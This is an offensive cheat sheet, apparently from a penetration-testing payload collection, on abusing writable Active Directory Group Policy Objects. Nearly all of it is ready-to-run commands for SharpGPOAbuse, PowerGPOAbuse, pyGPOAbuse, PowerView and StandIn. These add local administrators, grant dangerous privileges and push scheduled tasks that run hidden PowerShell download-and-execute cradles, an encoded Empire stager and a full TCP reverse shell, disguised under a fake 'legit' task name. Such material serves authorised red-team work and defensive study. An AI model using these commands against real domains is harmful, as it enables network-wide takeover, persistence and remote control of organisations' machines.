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Active Directory - Group Policy Objects

Creators of a GPO are automatically granted explicit Edit settings, delete, modify security, which manifests as CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner

🚩 GPO Priorization : Organization Unit > Domain > Site > Local

GPO are stored in the DC in \\<domain.dns>\SYSVOL\<domain.dns>\Policies\<GPOName>\, inside two folders User and Machine. If you have the right to edit the GPO you can connect to the DC and replace the files. Planned Tasks are located at Machine\Preferences\ScheduledTasks.

⚠ Domain members refresh group policy settings every 90 minutes with a random offset of 0 to 30 minutes but it can locally be forced with the following command: gpupdate /force.

Find vulnerable GPO

Look a GPLink where you have the Write right.

Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs |  Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|AllExtendedWrite|WriteDacl|WriteProperty|WriteMember|GenericAll|WriteOwner")}

Abuse GPO with SharpGPOAbuse

# Build and configure SharpGPOAbuse
$ git clone https://github.com/FSecureLABS/SharpGPOAbuse
$ Install-Package CommandLineParser -Version 1.9.3.15
$ ILMerge.exe /out:C:\SharpGPOAbuse.exe C:\Release\SharpGPOAbuse.exe C:\Release\CommandLine.dll

# Adding User Rights
.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"

# Adding a Local Admin
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"

# Configuring a User or Computer Logon Script
.\SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

# Configuring a Computer or User Immediate Task
# /!\ Intended to "run once" per GPO refresh, not run once per system
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
.\SharpGPOAbuse.exe --AddComputerTask --GPOName "VULNERABLE_GPO" --Author 'LAB.LOCAL\User' --TaskName "EvilTask" --Arguments  "/c powershell.exe -nop -w hidden -enc BASE64_ENCODED_COMMAND " --Command "cmd.exe" --Force

Abuse GPO with PowerGPOAbuse

  • https://github.com/rootSySdk/PowerGPOAbuse
PS> . .\PowerGPOAbuse.ps1

# Adding a localadmin 
PS> Add-LocalAdmin -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'

# Assign a new right 
PS> Add-UserRights -Rights "SeLoadDriverPrivilege","SeDebugPrivilege" -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'

# Adding a New Computer/User script 
PS> Add-ComputerScript/Add-UserScript -ScriptName 'EvilScript' -ScriptContent $(Get-Content evil.ps1) -GPOIdentity 'SuperSecureGPO'

# Create an immediate task 
PS> Add-GPOImmediateTask -TaskName 'eviltask' -Command 'powershell.exe /c' -CommandArguments "'$(Get-Content evil.ps1)'" -Author Administrator -Scope Computer/User -GPOIdentity 'SuperSecureGPO'

Abuse GPO with pyGPOAbuse

$ git clone https://github.com/Hackndo/pyGPOAbuse

# Add john user to local administrators group (Password: H4x00r123..)
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"

# Reverse shell example
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" \ 
    -powershell \ 
    -command "\$client = New-Object System.Net.Sockets.TCPClient('10.20.0.2',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" \ 
    -taskname "Completely Legit Task" \
    -description "Dis is legit, pliz no delete" \ 
    -user

Abuse GPO with PowerView

# Enumerate GPO
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}

# New-GPOImmediateTask to push an Empire stager out to machines via VulnGPO
New-GPOImmediateTask -TaskName Debugging -GPODisplayName VulnGPO -CommandArguments '-NoP -NonI -W Hidden -Enc AAAAAAA...' -Force

Abuse GPO with StandIn

# Add a local administrator
StandIn.exe --gpo --filter Shards --localadmin user002

# Set custom right to a user
StandIn.exe --gpo --filter Shards --setuserrights user002 --grant "SeDebugPrivilege,SeLoadDriverPrivilege"

# Execute a custom command
StandIn.exe --gpo --filter Shards --tasktype computer --taskname Liber --author "REDHOOK\Administrator" --command "C:\I\do\the\thing.exe" --args "with args"

References